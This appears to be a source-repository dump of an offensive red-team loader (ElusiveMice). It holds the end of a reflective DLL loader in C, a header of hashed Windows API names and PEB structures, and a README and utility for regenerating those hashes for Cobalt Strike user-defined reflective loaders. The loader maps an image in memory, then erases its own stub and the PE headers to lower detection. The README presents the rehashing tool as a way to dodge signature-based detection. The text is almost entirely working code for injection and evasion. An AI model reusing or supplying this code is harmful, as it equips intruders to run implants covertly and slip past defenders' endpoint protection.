((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders; 290 | 291 | while( uiValueA-- ) 292 | *(BYTE *)uiValueC++ = *(BYTE *)uiValueB++; 293 | 294 | // 295 | // STEP 3: load in all of our sections... 296 | // 297 | 298 | // uiValueA = the VA of the first section 299 | uiValueA = ( (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader ); 300 | 301 | // itterate through all sections, loading them into memory. 302 | uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections; 303 | while( uiValueE-- ) 304 | { 305 | // copy the section over 306 | uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData; 307 | 308 | // uiValueC if the VA for this sections data 309 | uiValueC = ( uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData ); 310 | 311 | // uiValueB is the VA for this section 312 | uiValueB = ( uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress ); 313 | 314 | while( uiValueD-- ) 315 | *(BYTE *)uiValueB++ = *(BYTE *)uiValueC++; 316 | 317 | // get the VA of the next section 318 | uiValueA += sizeof( IMAGE_SECTION_HEADER ); 319 | } 320 | 321 | // 322 | // STEP 4: process our images import table... 323 | // 324 | 325 | // uiValueB = the address of the import directory 326 | uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_IMPORT ]; 327 | 328 | // we assume their is an import table to process 329 | // uiValueC is the first entry in the import table 330 | uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress ); 331 | 332 | // itterate through all imports 333 | while( ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name ) 334 | { 335 | 336 | // uiValueA = VA of the IAT (via first thunk not origionalfirstthunk) 337 | uiValueA = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk ); 338 | 339 | // uiValueD = VA of the OriginalFirstThunk 340 | uiValueD = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk ); 341 | 342 | // use LoadLibraryA to load the imported module into memory 343 | uiLibraryAddress = (ULONG_PTR)pLoadLibraryA( (LPCSTR)( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name ) ); 344 | 345 | // itterate through all imported functions, importing by ordinal if no name present 346 | while( DEREF(uiValueA) ) 347 | { 348 | // sanity check uiValueD as some compilers only import by FirstThunk 349 | if( uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG ) 350 | { 351 | // get the VA of the modules NT Header 352 | uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; 353 | 354 | // uiNameArray = the address of the modules export directory entry 355 | uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ]; 356 | 357 | // get the VA of the export directory 358 | uiExportDir = ( uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress ); 359 | 360 | // get the VA for the array of addresses 361 | uiAddressArray = ( uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions ); 362 | 363 | // use the import ordinal (- export ordinal base) as an index into the array of addresses 364 | uiAddressArray += ( ( IMAGE_ORDINAL( ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal ) - ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->Base ) * sizeof(DWORD) ); 365 | 366 | // patch in the address for this imported function 367 | DEREF(uiValueA) = ( uiLibraryAddress + DEREF_32(uiAddressArray) ); 368 | } 369 | else 370 | { 371 | // get the VA of this functions import by name struct 372 | uiValueB = ( uiBaseAddress + DEREF(uiValueA) ); 373 | 374 | // use GetProcAddress and patch in the address for this imported function 375 | DEREF(uiValueA) = (ULONG_PTR)pGetProcAddress( (HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name ); 376 | } 377 | // get the next imported function 378 | uiValueA += sizeof( ULONG_PTR ); 379 | if( uiValueD ) 380 | uiValueD += sizeof( ULONG_PTR ); 381 | } 382 | 383 | // get the next import 384 | uiValueC += sizeof( IMAGE_IMPORT_DESCRIPTOR ); 385 | } 386 | 387 | // 388 | // STEP 5: process all of our images relocations... 389 | // 390 | 391 | // calculate the base address delta and perform relocations (even if we load at desired image base) 392 | uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase; 393 | 394 | // uiValueB = the address of the relocation directory 395 | uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_BASERELOC ]; 396 | 397 | // check if their are any relocations present 398 | if( ((PIMAGE_DATA_DIRECTORY)uiValueB)->Size ) 399 | { 400 | // uiValueC is now the first entry (IMAGE_BASE_RELOCATION) 401 | uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress ); 402 | 403 | // and we itterate through all entries... 404 | while( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock ) 405 | { 406 | // uiValueD is now the first entry in the current relocation block 407 | uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION); 408 | 409 | // uiValueB = number of entries in this relocation block 410 | uiValueB = ( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION) ) / sizeof( IMAGE_RELOC ); 411 | 412 | // uiValueA = the VA for this relocation block 413 | uiValueA = ( uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress ); 414 | 415 | // we itterate through all the entries in the current block... 416 | while( uiValueB-- ) 417 | { 418 | // perform the relocation, skipping IMAGE_REL_BASED_ABSOLUTE as required. 419 | // we dont use a switch statement to avoid the compiler building a jump table 420 | // which would not be very position independent! 421 | if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64 ) 422 | *(ULONG_PTR *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress; 423 | 424 | else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW ) 425 | *(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += LOWORD(uiLibraryAddress); 426 | 427 | else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH ) 428 | *(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(uiLibraryAddress); 429 | 430 | else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW ) 431 | *(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress; 432 | 433 | // get the next entry in the current relocation block 434 | uiValueD += sizeof( IMAGE_RELOC ); 435 | } 436 | 437 | // get the next entry in the relocation directory 438 | uiValueC = uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock; 439 | } 440 | } 441 | 442 | // 443 | // STEP 6: adjust section permissions 444 | // 445 | 446 | // uiValueA = the VA of the first section 447 | uiValueA = ((ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader); 448 | 449 | uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections; 450 | 451 | while (uiValueE--) 452 | { 453 | // uiValueB is the VA for this section 454 | uiValueB = (uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress); 455 | 456 | pVirtualProtect( 457 | (LPVOID)uiValueB, 458 | ((PIMAGE_SECTION_HEADER)uiValueA)->Misc.VirtualSize, 459 | translate_protect(((PIMAGE_SECTION_HEADER)uiValueA)->Characteristics), 460 | &oldProt 461 | ); 462 | 463 | // get the VA of the next section 464 | uiValueA += sizeof(IMAGE_SECTION_HEADER); 465 | } 466 | 467 | // 468 | // Step 7: Overwrite our ReflectiveLoader stub to lower detection potential. 469 | // 470 | 471 | DWORD bytesToOverwrite = 0; 472 | 473 | // Below meaningless if statement is placed here merely to let the further code compute 474 | // number of bytes that should get overwritten. 475 | if (uiValueA == 'ABCD') { 476 | uiHeaderValue ^= 0xAE; 477 | } 478 | 479 | // 480 | // Above code will consist of a stream of 0x00 bytes. 481 | // 482 | // v------------------------------------------------^ 483 | // 484 | // Below code remains intact (not overwritten). 485 | // 486 | 487 | const DWORD offset = (((DWORD)((BYTE*)&ReflectiveLoader)) & 0xfff); 488 | BYTE* ptr = (BYTE*)&ReflectiveLoader; 489 | ptr -= offset; 490 | 491 | while (bytesToOverwrite++ < 6000) { 492 | if (*(DWORD*)&ptr[bytesToOverwrite] == 'ABCD') { 493 | if (pVirtualProtect(ptr, bytesToOverwrite, PAGE_EXECUTE_READWRITE, &oldProt)) { 494 | 495 | // 496 | // Overwrites ReflectiveLoader function's bytes up to the above 497 | // if (value == 'ABCD') statement. 498 | // 499 | for (unsigned int i = 0; i < bytesToOverwrite; i++) 500 | *ptr++ = 0; 501 | 502 | pVirtualProtect(ptr, bytesToOverwrite, PAGE_EXECUTE_READ, &oldProt); 503 | } 504 | 505 | break; 506 | } 507 | } 508 | 509 | // uiValueA = the VA of our newly loaded DLL/EXE's entry point 510 | uiValueC = uiBaseAddress; 511 | uiValueB = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders; 512 | uiValueA = (uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint); 513 | 514 | // Finally, wipe PE headers residing on the beginning of the allocation with 515 | // this Reflective Loader. 516 | while (uiValueB--) 517 | *(BYTE*)uiValueC++ = 0; 518 | 519 | // 520 | // STEP 8: call our images entry point 521 | // 522 | 523 | // We must flush the instruction cache to avoid stale code being used which was updated by our relocation processing. 524 | pNtFlushInstructionCache((HANDLE)-1, NULL, 0); 525 | 526 | // call our respective entry point, fudging our hInstance value 527 | #ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR 528 | // if we are injecting a DLL via LoadRemoteLibraryR we call DllMain and pass in our parameter (via the DllMain lpReserved parameter) 529 | ((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, lpParameter ); 530 | #else 531 | // if we are injecting an DLL via a stub we call DllMain with no parameter 532 | ((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, NULL ); 533 | #endif 534 | 535 | // 536 | // STEP 9: return our new entry point address so whatever called us can call DllMain() if needed. 537 | // 538 | return uiValueA; 539 | } 540 | //===============================================================================================// 541 | #ifndef REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN 542 | 543 | BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved ) 544 | { 545 | BOOL bReturnValue = TRUE; 546 | switch( dwReason ) 547 | { 548 | case DLL_QUERY_HMODULE: 549 | if( lpReserved != NULL ) 550 | *(HMODULE *)lpReserved = hAppInstance; 551 | break; 552 | case DLL_PROCESS_ATTACH: 553 | hAppInstance = hinstDLL; 554 | break; 555 | case DLL_PROCESS_DETACH: 556 | case DLL_THREAD_ATTACH: 557 | case DLL_THREAD_DETACH: 558 | break; 559 | } 560 | return bReturnValue; 561 | } 562 | 563 | #endif 564 | 565 | __asm__( 566 | #ifdef WIN_X64 567 | "caller: \n" 568 | "mov rax, [rsp] \n" // get the return address 569 | "ret \n" 570 | #else 571 | "caller: \n" 572 | "mov eax, [esp] \n" // get the return address 573 | "ret \n" 574 | #endif 575 | ); 576 | -------------------------------------------------------------------------------- /src/elusiveMice.h: -------------------------------------------------------------------------------- 1 | //===============================================================================================// 2 | // Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) 3 | // All rights reserved. 4 | // 5 | // Redistribution and use in source and binary forms, with or without modification, are permitted 6 | // provided that the following conditions are met: 7 | // 8 | // * Redistributions of source code must retain the above copyright notice, this list of 9 | // conditions and the following disclaimer. 10 | // 11 | // * Redistributions in binary form must reproduce the above copyright notice, this list of 12 | // conditions and the following disclaimer in the documentation and/or other materials provided 13 | // with the distribution. 14 | // 15 | // * Neither the name of Harmony Security nor the names of its contributors may be used to 16 | // endorse or promote products derived from this software without specific prior written permission. 17 | // 18 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR 19 | // IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND 20 | // FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR 21 | // CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 22 | // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 23 | // SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 24 | // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR 25 | // OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 26 | // POSSIBILITY OF SUCH DAMAGE. 27 | //===============================================================================================// 28 | #ifndef _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H 29 | #define _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H 30 | //===============================================================================================// 31 | #define WIN32_LEAN_AND_MEAN 32 | #include 33 | #include 34 | #include 35 | 36 | #include "ReflectiveDLLInjection.h" 37 | 38 | typedef HMODULE(WINAPI* LOADLIBRARYA)(LPCSTR); 39 | typedef FARPROC(WINAPI* GETPROCADDRESS)(HMODULE, LPCSTR); 40 | typedef LPVOID(WINAPI* VIRTUALALLOC)(LPVOID, SIZE_T, DWORD, DWORD); 41 | typedef BOOL(WINAPI* VIRTUALPROTECT)(LPVOID, SIZE_T, DWORD, PDWORD); 42 | typedef DWORD(NTAPI* NTFLUSHINSTRUCTIONCACHE)(HANDLE, PVOID, ULONG); 43 | 44 | #define KERNEL32DLL_HASH 0xA6154C3A // kernel32.dll 45 | #define NTDLLDLL_HASH 0x0521447A // ntdll.dll 46 | 47 | #define LOADLIBRARYA_HASH 0xE0D79FEB // LoadLibraryA 48 | #define GETPROCADDRESS_HASH 0x6BAC2F89 // GetProcAddress 49 | #define VIRTUALALLOC_HASH 0x9EE2D962 // VirtualAlloc 50 | #define VIRTUALPROTECT_HASH 0x9154022F // VirtualProtect 51 | #define NTFLUSHINSTRUCTIONCACHE_HASH 0x7353E65D // NtFlushInstructionCache 52 | 53 | #define HASH_KEY 55 54 | 55 | //===============================================================================================// 56 | 57 | __forceinline DWORD ror( DWORD d ) 58 | { 59 | return _rotr( d, HASH_KEY ); 60 | } 61 | 62 | __forceinline DWORD hash( char * c ) 63 | { 64 | register DWORD h = 0; 65 | do 66 | { 67 | h = ror( h ); 68 | h += *c; 69 | } while( *++c ); 70 | 71 | return h; 72 | } 73 | 74 | // src: 75 | // https://github.com/hasherezade/module_overloading/blob/master/module_overloader/util.cpp#L4 76 | __forceinline DWORD translate_protect(DWORD sec_charact) 77 | { 78 | if ((sec_charact & IMAGE_SCN_MEM_EXECUTE) 79 | && (sec_charact & IMAGE_SCN_MEM_WRITE)) 80 | { 81 | return PAGE_EXECUTE_READWRITE; 82 | } 83 | 84 | if (sec_charact & IMAGE_SCN_MEM_EXECUTE) 85 | { 86 | return PAGE_EXECUTE_READ; 87 | } 88 | 89 | return PAGE_READWRITE; 90 | } 91 | 92 | //===============================================================================================// 93 | typedef struct _UNICODE_STR 94 | { 95 | USHORT Length; 96 | USHORT MaximumLength; 97 | PWSTR pBuffer; 98 | } UNICODE_STR, *PUNICODE_STR; 99 | 100 | // WinDbg> dt -v ntdll!_LDR_DATA_TABLE_ENTRY 101 | //__declspec( align(8) ) 102 | typedef struct _LDR_DATA_TABLE_ENTRY 103 | { 104 | //LIST_ENTRY InLoadOrderLinks; // As we search from PPEB_LDR_DATA->InMemoryOrderModuleList we dont use the first entry. 105 | LIST_ENTRY InMemoryOrderModuleList; 106 | LIST_ENTRY InInitializationOrderModuleList; 107 | PVOID DllBase; 108 | PVOID EntryPoint; 109 | ULONG SizeOfImage; 110 | UNICODE_STR FullDllName; 111 | UNICODE_STR BaseDllName; 112 | ULONG Flags; 113 | SHORT LoadCount; 114 | SHORT TlsIndex; 115 | LIST_ENTRY HashTableEntry; 116 | ULONG TimeDateStamp; 117 | } LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY; 118 | 119 | // WinDbg> dt -v ntdll!_PEB_LDR_DATA 120 | typedef struct _PEB_LDR_DATA //, 7 elements, 0x28 bytes 121 | { 122 | DWORD dwLength; 123 | DWORD dwInitialized; 124 | LPVOID lpSsHandle; 125 | LIST_ENTRY InLoadOrderModuleList; 126 | LIST_ENTRY InMemoryOrderModuleList; 127 | LIST_ENTRY InInitializationOrderModuleList; 128 | LPVOID lpEntryInProgress; 129 | } PEB_LDR_DATA, * PPEB_LDR_DATA; 130 | 131 | // WinDbg> dt -v ntdll!_PEB_FREE_BLOCK 132 | typedef struct _PEB_FREE_BLOCK // 2 elements, 0x8 bytes 133 | { 134 | struct _PEB_FREE_BLOCK * pNext; 135 | DWORD dwSize; 136 | } PEB_FREE_BLOCK, * PPEB_FREE_BLOCK; 137 | 138 | // struct _PEB is defined in Winternl.h but it is incomplete 139 | // WinDbg> dt -v ntdll!_PEB 140 | typedef struct __PEB // 65 elements, 0x210 bytes 141 | { 142 | BYTE bInheritedAddressSpace; 143 | BYTE bReadImageFileExecOptions; 144 | BYTE bBeingDebugged; 145 | BYTE bSpareBool; 146 | LPVOID lpMutant; 147 | LPVOID lpImageBaseAddress; 148 | PPEB_LDR_DATA pLdr; 149 | LPVOID lpProcessParameters; 150 | LPVOID lpSubSystemData; 151 | LPVOID lpProcessHeap; 152 | PRTL_CRITICAL_SECTION pFastPebLock; 153 | LPVOID lpFastPebLockRoutine; 154 | LPVOID lpFastPebUnlockRoutine; 155 | DWORD dwEnvironmentUpdateCount; 156 | LPVOID lpKernelCallbackTable; 157 | DWORD dwSystemReserved; 158 | DWORD dwAtlThunkSListPtr32; 159 | PPEB_FREE_BLOCK pFreeList; 160 | DWORD dwTlsExpansionCounter; 161 | LPVOID lpTlsBitmap; 162 | DWORD dwTlsBitmapBits[2]; 163 | LPVOID lpReadOnlySharedMemoryBase; 164 | LPVOID lpReadOnlySharedMemoryHeap; 165 | LPVOID lpReadOnlyStaticServerData; 166 | LPVOID lpAnsiCodePageData; 167 | LPVOID lpOemCodePageData; 168 | LPVOID lpUnicodeCaseTableData; 169 | DWORD dwNumberOfProcessors; 170 | DWORD dwNtGlobalFlag; 171 | LARGE_INTEGER liCriticalSectionTimeout; 172 | DWORD dwHeapSegmentReserve; 173 | DWORD dwHeapSegmentCommit; 174 | DWORD dwHeapDeCommitTotalFreeThreshold; 175 | DWORD dwHeapDeCommitFreeBlockThreshold; 176 | DWORD dwNumberOfHeaps; 177 | DWORD dwMaximumNumberOfHeaps; 178 | LPVOID lpProcessHeaps; 179 | LPVOID lpGdiSharedHandleTable; 180 | LPVOID lpProcessStarterHelper; 181 | DWORD dwGdiDCAttributeList; 182 | LPVOID lpLoaderLock; 183 | DWORD dwOSMajorVersion; 184 | DWORD dwOSMinorVersion; 185 | WORD wOSBuildNumber; 186 | WORD wOSCSDVersion; 187 | DWORD dwOSPlatformId; 188 | DWORD dwImageSubsystem; 189 | DWORD dwImageSubsystemMajorVersion; 190 | DWORD dwImageSubsystemMinorVersion; 191 | DWORD dwImageProcessAffinityMask; 192 | DWORD dwGdiHandleBuffer[34]; 193 | LPVOID lpPostProcessInitRoutine; 194 | LPVOID lpTlsExpansionBitmap; 195 | DWORD dwTlsExpansionBitmapBits[32]; 196 | DWORD dwSessionId; 197 | ULARGE_INTEGER liAppCompatFlags; 198 | ULARGE_INTEGER liAppCompatFlagsUser; 199 | LPVOID lppShimData; 200 | LPVOID lpAppCompatInfo; 201 | UNICODE_STR usCSDVersion; 202 | LPVOID lpActivationContextData; 203 | LPVOID lpProcessAssemblyStorageMap; 204 | LPVOID lpSystemDefaultActivationContextData; 205 | LPVOID lpSystemAssemblyStorageMap; 206 | DWORD dwMinimumStackCommit; 207 | } _PEB, * _PPEB; 208 | 209 | typedef struct 210 | { 211 | WORD offset:12; 212 | WORD type:4; 213 | } IMAGE_RELOC, *PIMAGE_RELOC; 214 | //===============================================================================================// 215 | #endif 216 | //===============================================================================================// 217 | -------------------------------------------------------------------------------- /util/README.md: -------------------------------------------------------------------------------- 1 | ## Cobalt Strike UDRL Hasher 2 | 3 | Simple helper utility recomputing `DLL Reflective Loader` hashes, for offensive engineering needs whenever we want to recompile [User Defined Reflective Loaders](https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/topics/malleable-c2-extend_user-defined-rdll.htm) and such. 4 | 5 | Ever came across [such hashes](https://github.com/stephenfewer/ReflectiveDLLInjection/blob/master/dll/src/ReflectiveLoader.h#L43) before? 6 | 7 | ``` 8 | #define KERNEL32DLL_HASH 0x6A4ABC5B 9 | #define NTDLLDLL_HASH 0x3CFA685D 10 | 11 | #define LOADLIBRARYA_HASH 0xEC0E4E8E 12 | #define GETPROCADDRESS_HASH 0x7C0DFCAA 13 | #define VIRTUALALLOC_HASH 0x91AFCA54 14 | #define NTFLUSHINSTRUCTIONCACHE_HASH 0x534C0AB8 15 | 16 | [...] 17 | 18 | #define HASH_KEY 13 19 | ``` 20 | 21 | These can be used for a straightforward signaturing. 22 | 23 | We can regenerate them easily with utility included here: 24 | 25 | ``` 26 | cmd> hash 55 27 | 28 | #define KERNEL32DLL_HASH 0xA6154C3A // kernel32.dll 29 | #define NTDLLDLL_HASH 0x0521447A // ntdll.dll 30 | 31 | #define LOADLIBRARYA_HASH 0xE0D79FEB // LoadLibraryA 32 | #define GETPROCADDRESS_HASH 0x6BAC2F89 // GetProcAddress 33 | #define VIRTUALALLOC_HASH 0x9EE2D962 // VirtualAlloc 34 | #define VIRTUALPROTECT_HASH 0x9154022F // VirtualProtect 35 | #define NTFLUSHINSTRUCTIONCACHE_HASH 0x7353E65D // NtFlushInstructionCache 36 | 37 | #define HASH_KEY 55 38 | 39 | ``` 40 | 41 | **Notice** - if you want to get hash for a DLL, be sure to include its extension: 42 | 43 | ``` 44 | hash 55 kernel32.dll 45 | ``` 46 | -------------------------------------------------------------------------------- /util/hash.c: -------------------------------------------------------------------------------- 1 | // 2 | // Simple utility aimed to help regenerating UDRL hashes 3 | // 4 | // cmd> gcc hash.c -o hash.exe 5 | // 6 | // Mariusz Banach / mgeeky, '23 7 | // binary-offensive.com 8 | // 9 | 10 | #include 11 | #include 12 | #include 13 | 14 | BYTE hashKey = 13; 15 | 16 | __forceinline DWORD ror( DWORD d ) { 17 | return _rotr( d, hashKey ); 18 | } 19 | 20 | __forceinline DWORD hash( const char * c ) { 21 | register DWORD h = 0; 22 | do 23 | { 24 | h = ror( h ); 25 | h += *c; 26 | } while( *++c ); 27 | 28 | return h; 29 | } 30 | 31 | __forceinline DWORD hashModule( const char * c ) { 32 | register DWORD h = 0; 33 | 34 | size_t counter = strlen(c) * 2; 35 | wchar_t * wstr = (wchar_t*)malloc(counter + 2); 36 | char * ptr = (char*)wstr; 37 | 38 | mbstowcs(wstr, c, counter); 39 | 40 | do 41 | { 42 | h = ror( (DWORD)h ); 43 | 44 | // normalize to uppercase if the module name is in lowercase 45 | if( *((BYTE *)ptr) >= 'a' ) 46 | h += *((BYTE *)ptr) - 0x20; 47 | else 48 | h += *((BYTE *)ptr); 49 | 50 | ptr++; 51 | 52 | } while( --counter ); 53 | 54 | free(wstr); 55 | return h; 56 | } 57 | 58 | int endswith(const char *str, const char *suffix) 59 | { 60 | if (!str || !suffix) 61 | return 0; 62 | size_t lenstr = strlen(str); 63 | size_t lensuffix = strlen(suffix); 64 | if (lensuffix > lenstr) 65 | return 0; 66 | return strncmp(str + lenstr - lensuffix, suffix, lensuffix) == 0; 67 | } 68 | 69 | void print(char* str) { 70 | DWORD val = 0; 71 | 72 | if(endswith(str, ".dll")) { 73 | val = hashModule(str); 74 | } 75 | else { 76 | val = hash(str); 77 | } 78 | 79 | char str2[256] = ""; 80 | char *s = str2; 81 | 82 | for(int i = 0; i < strlen(str); i++) { 83 | if(isalnum(str[i])) { 84 | *(s++) = str[i]; 85 | } 86 | } 87 | 88 | s = str2; 89 | while (*s) *(s++) = toupper(*s); 90 | 91 | strncat(str2, "_HASH", sizeof(str2)-1); 92 | 93 | printf("#define %-30s 0x%08X\t// %s\n", str2, val, str); 94 | } 95 | 96 | int main(int argc, char** argv) { 97 | if (argc < 2) { 98 | printf("Usage: hash.exe [string]\n"); 99 | return 0; 100 | } 101 | 102 | hashKey = atoi(argv[1]); 103 | 104 | printf("\n"); 105 | 106 | if (argc == 3) { 107 | print(argv[2]); 108 | } 109 | else { 110 | print("kernel32.dll"); 111 | print("ntdll.dll"); 112 | printf("\n"); 113 | print("LoadLibraryA"); 114 | print("GetProcAddress"); 115 | print("VirtualAlloc"); 116 | print("VirtualProtect"); 117 | print("NtFlushInstructionCache"); 118 | } 119 | 120 | printf("\n#define HASH_KEY %d\n", hashKey); 121 | 122 | return 0; 123 | } -------------------------------------------------------------------------------- /util/hash.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mgeeky/ElusiveMice/6d0ec86ca707f9657e3ac4cc9fe31211c9f5954d/util/hash.exe --------------------------------------------------------------------------------